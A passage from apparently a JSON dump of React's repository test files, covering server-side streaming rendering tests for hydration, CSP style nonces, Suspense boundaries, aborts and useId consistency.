}\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<ServerApp />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"server\">\n        <head data-x=\"server\">\n          <meta itemprop=\"\" content=\"server\" />\n        </head>\n        <body data-x=\"server\">server</body>\n      </html>,\n    );\n\n    content = 'client';\n\n    const recoverableErrors = [];\n    const root = ReactDOMClient.hydrateRoot(document, <ClientApp />, {\n      onRecoverableError(err) {\n        recoverableErrors.push(err.message);\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-y=\"client\">\n        <head data-y=\"client\">\n          <meta itemprop=\"\" name=\"client\" />\n        </head>\n        <body data-y=\"client\">client</body>\n      </html>,\n    );\n    expect(recoverableErrors).toEqual([\n      expect.stringContaining(\n        \"Hydration failed because the server rendered text didn't match the client.\",\n      ),\n    ]);\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('can render styles with nonce', async () => {\n    CSPnonce = 'R4nd0m';\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <>\n          <style\n            href=\"foo\"\n            precedence=\"default\"\n            nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>\n          <style\n            href=\"bar\"\n            precedence=\"default\"\n            nonce={CSPnonce}>{`.bar { background-color: blue; }`}</style>\n        </>,\n        {nonce: {style: CSPnonce}},\n      );\n      pipe(writable);\n    });\n    expect(document.querySelector('style').nonce).toBe(CSPnonce);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\">\n            <style\n              data-precedence=\"default\"\n              data-href=\"foo bar\"\n              nonce={\n                CSPnonce\n              }>{`.foo { color: hotpink; }.bar { background-color: blue; }`}</style>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it(\"shouldn't render styles with mismatched nonce\", async () => {\n    CSPnonce = 'R4nd0m';\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <>\n          <style\n            href=\"foo\"\n            precedence=\"default\"\n            nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>\n          <style\n            href=\"bar\"\n            precedence=\"default\"\n            nonce={`${CSPnonce}${CSPnonce}`}>{`.bar { background-color: blue; }`}</style>\n        </>,\n        {nonce: {style: CSPnonce}},\n      );\n      pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'React encountered a style tag with `precedence` \"default\" and `nonce` \"R4nd0mR4nd0m\". When React manages style rules using `precedence` it will only include rules if the nonce matches the style nonce \"R4nd0m\" that was included with this render.' +\n        '\\n    in style (at **)',\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\">\n            <style\n              data-precedence=\"default\"\n              data-href=\"foo\"\n              nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it(\"should render styles without nonce when render call doesn't receive nonce\", async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <>\n          <style\n            href=\"foo\"\n            precedence=\"default\"\n            nonce=\"R4nd0m\">{`.foo { color: hotpink; }`}</style>\n        </>,\n      );\n      pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'React encountered a style tag with `precedence` \"default\" and `nonce` \"R4nd0m\". When React manages style rules using `precedence` it will only include a nonce attributes if you also provide the same style nonce value as a render option.' +\n        '\\n    in style (at **)',\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\">\n            <style\n              data-precedence=\"default\"\n              data-href=\"foo\">{`.foo { color: hotpink; }`}</style>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('should render styles without nonce when render call receives a string nonce dedicated to scripts', async () => {\n    CSPnonce = 'R4nd0m';\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <>\n          <style\n            href=\"foo\"\n            precedence=\"default\"\n            nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>\n        </>,\n        {nonce: CSPnonce},\n      );\n      pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'React encountered a style tag with `precedence` \"default\" and `nonce` \"R4nd0m\". When React manages style rules using `precedence` it will only include a nonce attributes if you also provide the same style nonce value as a render option.' +\n        '\\n    in style (at **)',\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\">\n            <style\n              data-precedence=\"default\"\n              data-href=\"foo\">{`.foo { color: hotpink; }`}</style>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('should allow for different script and style nonces', async () => {\n    CSPnonce = 'R4nd0m';\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <>\n          <style\n            href=\"foo\"\n            precedence=\"default\"\n            nonce=\"D1ff3r3nt\">{`.foo { color: hotpink; }`}</style>\n        </>,\n        {\n          nonce: {script: CSPnonce, style: 'D1ff3r3nt'},\n          bootstrapScriptContent: 'function noop(){}',\n        },\n      );\n      pipe(writable);\n    });\n    const scripts = Array.from(container.getElementsByTagName('script')).filter(\n      node => node.getAttribute('nonce') === CSPnonce,\n    );\n    expect(scripts[scripts.length - 1].textContent).toBe('function noop(){}');\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\">\n            <style\n              data-precedence=\"default\"\n              data-href=\"foo\"\n              nonce=\"D1ff3r3nt\">{`.foo { color: hotpink; }`}</style>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('should not error when discarding deeply nested Suspense boundaries in a parent fallback partially complete before the parent boundary resolves', async () => {\n    let resolve1;\n    const promise1 = new Promise(r => (resolve1 = r));\n    let resolve2;\n    const promise2 = new Promise(r => (resolve2 = r));\n    const promise3 = new Promise(r => {});\n\n    function Use({children, promise}) {\n      React.use(promise);\n      return children;\n    }\n    function App() {\n      return (\n        <div>\n          <Suspense\n            fallback={\n              <div>\n                <Suspense fallback=\"Loading...\">\n                  <div>\n                    <Use promise={promise1}>\n                      <div>\n                        <Suspense fallback=\"Loading more...\">\n                          <div>\n                            <Use promise={promise3}>\n                              <div>deep fallback</div>\n                            </Use>\n                          </div>\n                        </Suspense>\n                      </div>\n                    </Use>\n                  </div>\n                </Suspense>\n              </div>\n            }>\n            <Use promise={promise2}>Success!</Use>\n          </Suspense>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Loading...</div>\n      </div>,\n    );\n\n    await act(() => {\n      resolve1('resolved');\n      resolve2('resolved');\n    });\n\n    expect(getVisibleChildren(container)).toEqual(<div>Success!</div>);\n  });\n\n  it('should not error when discarding deeply nested Suspense boundaries in a parent fallback partially complete before the parent boundary resolves with empty segments', async () => {\n    let resolve1;\n    const promise1 = new Promise(r => (resolve1 = r));\n    let resolve2;\n    const promise2 = new Promise(r => (resolve2 = r));\n    const promise3 = new Promise(r => {});\n\n    function Use({children, promise}) {\n      React.use(promise);\n      return children;\n    }\n    function App() {\n      return (\n        <div>\n          <Suspense\n            fallback={\n              <Suspense fallback=\"Loading...\">\n                <Use promise={promise1}>\n                  <Suspense fallback=\"Loading more...\">\n                    <Use promise={promise3}>\n                      <div>deep fallback</div>\n                    </Use>\n                  </Suspense>\n                </Use>\n              </Suspense>\n            }>\n            <Use promise={promise2}>Success!</Use>\n          </Suspense>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    await act(() => {\n      resolve1('resolved');\n      resolve2('resolved');\n    });\n\n    expect(getVisibleChildren(container)).toEqual(<div>Success!</div>);\n  });\n\n  it('should always flush the boundaries contributing the preamble regardless of their size', async () => {\n    const longDescription =\n      `I need to make this segment somewhat large because it needs to be large enough to be outlined during the initial flush. Setting the progressive chunk size to near zero isn't enough because there is a fixed minimum size that we use to avoid doing the size tracking altogether and this needs to be larger than that at least.\n\nUnfortunately that previous paragraph wasn't quite long enough so I'll continue with some more prose and maybe throw on some repeated additional strings at the end for good measure.\n\n` + 'a'.repeat(500);\n\n    const randomTag = Math.random().toString(36).slice(2, 10);\n\n    function App() {\n      return (\n        <Suspense fallback={randomTag}>\n          <html lang=\"en\">\n            <body>\n              <main>{longDescription}</main>\n            </body>\n          </html>\n        </Suspense>\n      );\n    }\n\n    let streamedContent = '';\n    writable.on('data', chunk => (streamedContent += chunk));\n\n    await act(() => {\n      renderToPipeableStream(<App />, {progressiveChunkSize: 100}).pipe(\n        writable,\n      );\n    });\n\n    // We don't use the DOM here b/c we execute scripts which hides whether a fallback was shown briefly\n    // Instead we assert that we never emitted the fallback of the Suspense boundary around the body.\n    expect(streamedContent).not.toContain(randomTag);\n  });\n\n  it('should track byte size of shells that may contribute to the preamble when determining if the blocking render exceeds the max size', async () => {\n    const longDescription =\n      `I need to make this segment somewhat large because it needs to be large enough to be outlined during the initial flush. Setting the progressive chunk size to near zero isn't enough because there is a fixed minimum size that we use to avoid doing the size tracking altogether and this needs to be larger than that at least.\n\nUnfortunately that previous paragraph wasn't quite long enough so I'll continue with some more prose and maybe throw on some repeated additional strings at the end for good measure.\n\n` + 'a'.repeat(500);\n\n    const randomTag = Math.random().toString(36).slice(2, 10);\n\n    function App() {\n      return (\n        <>\n          <Suspense fallback={randomTag}>\n            <html lang=\"en\">\n              <body>\n                <main>{longDescription}</main>\n              </body>\n            </html>\n          </Suspense>\n          <div>Outside Preamble</div>\n        </>\n      );\n    }\n\n    let streamedContent = '';\n    writable.on('data', chunk => (streamedContent += chunk));\n\n    const errors = [];\n    await act(() => {\n      renderToPipeableStream(<App />, {\n        progressiveChunkSize: 5,\n        onError(e) {\n          errors.push(e);\n        },\n      }).pipe(writable);\n    });\n\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(errors.length).toBe(1);\n      expect(errors[0].message).toContain(\n        // We set the chunk size low enough that the threshold rounds to zero kB\n        'This rendered a large document (>0 kB) without any Suspense boundaries around most of it.',\n      );\n    } else {\n      expect(errors.length).toBe(0);\n    }\n\n    // We don't use the DOM here b/c we execute scripts which hides whether a fallback was shown briefly\n    // Instead we assert that we never emitted the fallback of the Suspense boundary around the body.\n    expect(streamedContent).not.toContain(randomTag);\n  });\n\n  it('should be able to Suspend after aborting in the same component without hanging the render', async () => {\n    const controller = new AbortController();\n\n    const promise1 = new Promise(() => {});\n    function AbortAndSuspend() {\n      controller.abort('boom');\n      return React.use(promise1);\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>\n            <Suspense fallback=\"loading...\">\n              {/*\n                The particular code path that was problematic required the Suspend to happen in renderNode\n                rather than retryRenderTask so we render the aborting function inside a host component\n                intentionally here\n              */}\n              <div>\n                <AbortAndSuspend />\n              </div>\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n\n    const errors = [];\n    await act(async () => {\n      const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n        signal: controller.signal,\n        onError(e) {\n          errors.push(e);\n        },\n      });\n\n      result.prelude.pipe(writable);\n    });\n\n    expect(errors).toEqual(['boom']);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>loading...</body>\n      </html>,\n    );\n  });\n\n  it('not error when a suspended fallback segment directly inside another Suspense is abandoned', async () => {\n    function SuspendForever() {\n      React.use(new Promise(() => {}));\n    }\n\n    let resolve = () => {};\n    const suspendPromise = new Promise(r => {\n      resolve = r;\n    });\n    function Suspend() {\n      return React.use(suspendPromise);\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>\n            <Suspense fallback=\"outer\">\n              <Suspense fallback={<SuspendForever />}>\n                <span>hello world</span>\n                <span>\n                  <Suspend />\n                </span>\n              </Suspense>\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onError() {},\n      });\n      pipe(writable);\n    });\n\n    await act(() => {\n      resolve('!');\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <span>hello world</span>\n          <span>!</span>\n        </body>\n      </html>,\n    );\n  });\n\n  // @gate enableCPUSuspense\n  it('outlines deferred Suspense boundaries', async () => {\n    function Log({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    await act(async () => {\n      renderToPipeableStream(\n        <div>\n          <Suspense defer={true} fallback={<Log text=\"Waiting\" />}>\n            <span>{<Log text=\"hello\" />}</span>\n          </Suspense>\n        </div>,\n      ).pipe(writable);\n      await jest.runAllTimers();\n      const temp = document.createElement('body');\n      temp.innerHTML = buffer;\n      expect(getVisibleChildren(temp)).toEqual(<div>Waiting</div>);\n    });\n\n    assertLog(['Waiting', 'hello']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>hello</span>\n      </div>,\n    );\n  });\n\n  it('useId is consistent for siblings when component suspends with nested lazy', async () => {\n    // Inner component uses useId\n    function InnerComponent() {\n      const id = React.useId();\n      Scheduler.log('InnerComponent id: ' + id);\n      return <span id={id}>inner</span>;\n    }\n\n    // Outer component uses useId and renders a lazy inner\n    function OuterComponent({innerElement}) {\n      const id = React.useId();\n      Scheduler.log('OuterComponent id: ' + id);\n      return <div id={id}>{innerElement}</div>;\n    }\n\n    // This sibling also has useId - its ID must be consistent with server\n    function Sibling() {\n      const id = React.useId();\n      Scheduler.log('Sibling id: ' + id);\n      return <span id={id}>sibling</span>;\n    }\n\n    // Create fresh lazy components for SERVER (resolve immediately)\n    const serverLazyInner = React.lazy(async () => {\n      Scheduler.log('server lazy inner initializer');\n      return {default: <InnerComponent />};\n    });\n\n    const serverLazyOuter = React.lazy(async () => {\n      Scheduler.log('server lazy outer initializer');\n      return {\n        default: <OuterComponent key=\"outer\" innerElement={serverLazyInner} />,\n      };\n    });\n\n    // Server render with lazy (resolves immediately)\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <body>\n            <>{serverLazyOuter}</>\n            <>\n              <Sibling />\n            </>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"_R_1_\">\n            <span id=\"_R_5_\">inner</span>\n          </div>\n          <span id=\"_R_2_\">sibling</span>\n        </body>\n      </html>,\n    );\n\n    assertLog([\n      'server lazy outer initializer',\n      'Sibling id: _R_2_',\n      'OuterComponent id: _R_1_',\n      'server lazy inner initializer',\n      'InnerComponent id: _R_5_',\n    ]);\n\n    // Create fresh lazy components for CLIENT\n    let resolveClientInner;\n    const clientLazyInner = React.lazy(async () => {\n      Scheduler.log('client lazy inner initializer');\n      return new Promise(r => {\n        resolveClientInner = () => r({default: <InnerComponent />});\n      });\n    });\n\n    let resolveClientOuter;\n    const clientLazyOuter = React.lazy(async () => {\n      Scheduler.log('client lazy outer initializer');\n      return new Promise(r => {\n        resolveClientOuter = () =>\n          r({default: <OuterComponent innerElement={clientLazyInner} />});\n      });\n    });\n\n    const hydrationErrors = [];\n\n    // Client hydrates with nested lazy components\n    let root;\n    React.startTransition(() => {\n      root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <>{clientLazyOuter}</>\n            <>\n              <Sibling />\n            </>\n          </body>\n        </html>,\n        {\n          onRecoverableError(error) {\n            hydrationErrors.push(error.message);\n          },\n        },\n      );\n    });\n\n    // First suspension on outer lazy\n    await waitFor(['client lazy outer initializer']);\n    resolveClientOuter();\n\n    // Second suspension on inner lazy\n    await waitFor([\n      'OuterComponent id: _R_1_',\n      'client lazy inner initializer',\n    ]);\n    resolveClientInner();\n\n    await waitForAll(['InnerComponent id: _R_5_', 'Sibling id: _R_2_']);\n\n    // The IDs should match the server-generated IDs\n    expect(hydrationErrors).toEqual([]);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"_R_1_\">\n            <span id=\"_R_5_\">inner</span>\n          </div>\n          <span id=\"_R_2_\">sibling</span>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzServerBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\n\nlet React;\nlet ReactDOMFizzServer;\nlet Suspense;\nlet serverAct;\n\ndescribe('ReactDOMFizzServerBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    patchMessageChannel();\n    serverAct = require('internal-test-utils').serverAct;\n\n    React = require('react');\n    ReactDOMFizzServer = require('react-dom/server.browser');\n    Suspense = React.Suspense;\n  });\n\n  const theError = new Error('This is an error');\n  function Throw() {\n    throw theError;\n  }\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  async function readResult(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return result;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  it('should call renderToReadableStream', async () => {\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(<div>hello world</div>),\n    );\n    const result = await readResult(stream);\n    expect(result).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should emit DOCTYPE at the root of the document', async () => {\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <html>\n          <body>hello world</body>\n        </html>,\n      ),\n    );\n    const result = await readResult(stream);\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(result).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head><link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/></head><body>hello world<template id=\"_R_\"></template></body></html>\"`,\n      );\n    } else {\n      expect(result).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head></head><body>hello world</body></html>\"`,\n      );\n    }\n  });\n\n  it('should emit bootstrap script src at the end', async () => {\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(<div>hello world</div>, {\n        bootstrapScriptContent: 'INIT();',\n        bootstrapScripts: ['init.js'],\n        bootstrapModules: ['init.mjs'],\n      }),\n    );\n    const result = await readResult(stream);\n    expect(result).toMatchInlineSnapshot(\n      `\"<link rel=\"preload\" as=\"script\" fetchPriority=\"low\" href=\"init.js\"/><link rel=\"modulepreload\" fetchPriority=\"low\" href=\"init.mjs\"/><div>hello world</div><script id=\"_R_\">INIT();</script><script src=\"init.js\" async=\"\"></script><script type=\"module\" src=\"init.mjs\" async=\"\"></script>\"`,\n    );\n  });\n\n  it('emits all HTML as one unit if we wait until the end to start', async () => {\n    let hasLoaded = false;\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      return 'Done';\n    }\n    let isComplete = false;\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <Suspense fallback=\"Loading\">\n            <Wait />\n          </Suspense>\n        </div>,\n      ),\n    );\n\n    stream.allReady.then(() => (isComplete = true));\n\n    expect(isComplete).toBe(false);\n    // Resolve the loading.\n    hasLoaded = true;\n    await serverAct(() => resolve());\n\n    expect(isComplete).toBe(true);\n\n    const result = await readResult(stream);\n    expect(result).toMatchInlineSnapshot(\n      `\"<div><!--$-->Done<!-- --><!--/$--></div>\"`,\n    );\n  });\n\n  it('should reject the promise when an error is thrown at the root', async () => {\n    const reportedErrors = [];\n    let caughtError = null;\n    try {\n      await serverAct(() =>\n        ReactDOMFizzServer.renderToReadableStream(\n          <div>\n            <Throw />\n          </div>,\n          {\n            onError(x) {\n              reportedErrors.push(x);\n            },\n          },\n        ),\n      );\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theError);\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should reject the promise when an error is thrown inside a fallback', async () => {\n    const reportedErrors = [];\n    let caughtError = null;\n    try {\n      await serverAct(() =>\n        ReactDOMFizzServer.renderToReadableStream(\n          <div>\n            <Suspense fallback={<Throw />}>\n              <InfiniteSuspend />\n            </Suspense>\n          </div>,\n          {\n            onError(x) {\n              reportedErrors.push(x);\n            },\n          },\n        ),\n      );\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theError);\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should not error the stream when an error is thrown inside suspense boundary', async () => {\n    const reportedErrors = [];\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <Throw />\n          </Suspense>\n        </div>,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(stream);\n    expect(result).toContain('Loading');\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should be able to complete by aborting even if the promise never resolves', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <InfiniteSuspend />\n          </Suspense>\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    controller.abort();\n\n    const result = await readResult(stream);\n    expect(result).toContain('Loading');\n\n    expect(errors).toEqual(['The operation was aborted.']);\n  });\n\n  it('should reject if aborting before the shell is complete', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const promise = serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <InfiniteSuspend />\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    const theReason = new Error('aborted for reasons');\n    controller.abort(theReason);\n\n    let caughtError = null;\n    try {\n      await promise;\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theReason);\n    expect(errors).toEqual(['aborted for reasons']);\n  });\n\n  it('should be able to abort before something suspends', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    function App() {\n      controller.abort();\n      return (\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      );\n    }\n    const streamPromise = serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <App />\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    let caughtError = null;\n    try {\n      await streamPromise;\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError.message).toBe('The operation was aborted.');\n    expect(errors).toEqual(['The operation was aborted.']);\n  });\n\n  it('should reject if passing an already aborted signal', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const theReason = new Error('aborted for reasons');\n    controller.abort(theReason);\n\n    const promise = serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <InfiniteSuspend />\n          </Suspense>\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    // Technically we could still continue rendering the shell but currently the\n    // semantics mean that we also abort any pending CPU work.\n    let caughtError = null;\n    try {\n      await promise;\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theReason);\n    expect(errors).toEqual(['aborted for reasons']);\n  });\n\n  it('should not continue rendering after the reader cancels', async () => {\n    let hasLoaded = false;\n    let resolve;\n    let isComplete = false;\n    let rendered = false;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      rendered = true;\n      return 'Done';\n    }\n    const errors = [];\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <Wait />\n          </Suspense>\n        </div>,\n        {\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    stream.allReady.then(() => (isComplete = true));\n\n    expect(rendered).toBe(false);\n    expect(isComplete).toBe(false);\n\n    const reader = stream.getReader();\n    await reader.read();\n    await reader.cancel();\n\n    expect(errors).toEqual([\n      'The render was aborted by the server without a reason.',\n    ]);\n\n    hasLoaded = true;\n    await serverAct(() => resolve());\n\n    expect(rendered).toBe(false);\n    expect(isComplete).toBe(true);\n\n    expect(errors).toEqual([\n      'The render was aborted by the server without a reason.',\n    ]);\n  });\n\n  it('should stream large contents that might overlow individual buffers', async () => {\n    const str492 = `(492) This string is intentionally 492 bytes long because we want to make sure we process chunks that will overflow buffer boundaries. It will repeat to fill out the bytes required (inclusive of this prompt):: foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux q :: total count (492)`;\n    const str2049 = `(2049) This string is intentionally 2049 bytes long because we want to make sure we process chunks that will overflow buffer boundaries. It will repeat to fill out the bytes required (inclusive of this prompt):: foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy thud foo bar qux quux corge grault garply waldo fred plugh xyzzy  :: total count (2049)`;\n\n    // this specific layout is somewhat contrived to exercise the landing on\n    // an exact view boundary. it's not critical to test this edge case but\n    // since we are setting up a test in general for larger chunks I contrived it\n    // as such for now. I don't think it needs to be maintained if in the future\n    // the view sizes change or become dynamic becasue of the use of byobRequest\n    let stream;\n    stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <>\n          <div>\n            <span>{''}</span>\n          </div>\n          <div>{str492}</div>\n          <div>{str492}</div>\n        </>,\n      ),\n    );\n\n    let result;\n    result = await readResult(stream);\n\n    expect(result).toMatchInlineSnapshot(\n      // TODO: remove interpolation because it prevents snapshot updates.\n      // eslint-disable-next-line jest/no-interpolation-in-snapshots\n      `\"<div><span></span></div><div>${str492}</div><div>${str492}</div>\"`,\n    );\n\n    // this size 2049 was chosen to be a couple base 2 orders larger than the current view\n    // size. if the size changes in the future hopefully this will still exercise\n    // a chunk that is too large for the view size.\n    stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <>\n          <div>{str2049}</div>\n        </>,\n      ),\n    );\n\n    result = await readResult(stream);\n    // TODO: remove interpolation because it prevents snapshot updates.\n    // eslint-disable-next-line jest/no-interpolation-in-snapshots\n    expect(result).toMatchInlineSnapshot(`\"<div>${str2049}</div>\"`);\n  });\n\n  it('supports custom abort reasons with a string', async () => {\n    const promise = new Promise(r => {});\n    function Wait() {\n      throw promise;\n    }\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <Wait />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <Wait />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const controller = new AbortController();\n    await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x);\n          return 'a digest';\n        },\n      }),\n    );\n\n    controller.abort('foobar');\n\n    expect(errors).toEqual(['foobar', 'foobar']);\n  });\n\n  it('supports custom abort reasons with an Error', async () => {\n    const promise = new Promise(r => {});\n    function Wait() {\n      throw promise;\n    }\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <Wait />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <Wait />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const controller = new AbortController();\n    await 